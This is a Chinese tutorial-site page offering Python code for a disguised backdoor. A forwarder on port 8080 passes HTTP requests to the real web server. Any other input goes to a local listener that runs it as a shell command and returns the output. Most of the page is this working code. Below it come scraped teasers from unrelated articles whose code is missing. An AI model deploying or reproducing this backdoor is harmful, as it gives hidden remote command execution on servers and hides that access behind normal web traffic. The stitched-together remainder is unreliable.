思想:
用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。
8888端口监听代码:
#!/usr/bin/env python from socket import * import os HOST='127.0.0.1' PORT=8888 BUFSIZE=1024 ADDR=(HOST,PORT) tcpSerSock = socket(AF_INET,SOCK_STREAM) tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) while True: print("waiting for connection...") tcpCliSock,addr = tcpSerSock.accept() print("...connected from:",addr) while True: data=tcpCliSock.recv(BUFSIZE) if not data: break info = data.split('\n') command = info[0] try: os.system(command + " > command.txt"); file = open('command.txt') data ="" for line in file: data=data+line; tcpCliSock.send(data) except Exception: tcpCliSock.send("Nothing to do") tcpCliSock.close() tcpSerSock.close()
8080端口转发代码:
#!/usr/bin/python from socket import * tcp1 = socket(AF_INET,SOCK_STREAM) tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp1.bind(('0.0.0.0',8080)) tcp1.listen(10) BUFFER_SIZE=2048 tcpCliSock,addr = tcp1.accept() while True: data = tcpCliSock.recv(BUFFER_SIZE) if 'HTTP' in data: tcp3 = socket(AF_INET,SOCK_STREAM) tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp3.connect(('127.0.0.1',80)) tcp3.send(data) htmlinfo = tcp3.recv(2048) if not htmlinfo: tcp3.close() else: tcpCliSock.send(htmlinfo) else: tcp2 = socket(AF_INET,SOCK_STREAM) tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp2.connect(('127.0.0.1',8888)) data = data.replace("\n"," ") print data tcp2.send(data) commandinfo = tcp2.recv(1024) tcpCliSock.send(commandinfo) tcp2.close() tcpCliSock.close() tcp1.close()
有些地方还有些小问题等待修正,但是linux下是可以完美运行的。欢迎学习交流。
以上这篇python基于socket进行端口转发实现后门隐藏的示例就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持小牛知识库。
本文向大家介绍python基于socket函数实现端口扫描,包括了python基于socket函数实现端口扫描的使用技巧和注意事项,需要的朋友参考一下 本文实例为大家分享了python基于socket实现端口扫描的具体代码,供大家参考,具体内容如下 自学Python一段时间,写个端口扫描器练练手。有什么不足之处,请见谅 这是基于socket函数对端口进行端口扫描 所以,首先要导入socket模块
本文向大家介绍python基于socket实现的UDP及TCP通讯功能示例,包括了python基于socket实现的UDP及TCP通讯功能示例的使用技巧和注意事项,需要的朋友参考一下 本文实例讲述了python基于socket实现的UDP及TCP通讯功能。分享给大家供大家参考,具体如下: Server: Client: 运行结果: server [work@db-testing python]$
我目前正在从事一个项目,该项目允许第三方连接到我们产品的消息代理。任务是提供一个第三方可以使用的库。我希望能够将公共交通或NServiceBus与之一起打包,但我希望将该细节隐藏在接口后面。 我把服务车藏起来了。。。 供应商不应该被允许发布/发送消息,而应该只消费。如何隐藏消息的消费,以便打包服务总线库而不暴露正在使用的库? 编辑1使用大众交通消费消息如下所示 在引导过程中,当您创建服务总线实例时
本文向大家介绍Python基于Socket实现简单聊天室,包括了Python基于Socket实现简单聊天室的使用技巧和注意事项,需要的朋友参考一下 本文实例为大家分享了Python基于Socket实现简单聊天室,供大家参考,具体内容如下 服务端 客户端 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持呐喊教程。
本文向大家介绍bootstrap——bootstrapTable实现隐藏列的示例,包括了bootstrap——bootstrapTable实现隐藏列的示例的使用技巧和注意事项,需要的朋友参考一下 最近在学习bootstrap,正好今天看到了bootstrapTable隐藏列,留着以后参考。 主要代码: 全部代码: 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持呐喊教程。
本文向大家介绍python基于socket实现网络广播的方法,包括了python基于socket实现网络广播的方法的使用技巧和注意事项,需要的朋友参考一下 本文实例讲述了python基于socket实现网络广播的方法。分享给大家供大家参考。具体实现方法如下: 希望本文所述对大家的Python程序设计有所帮助。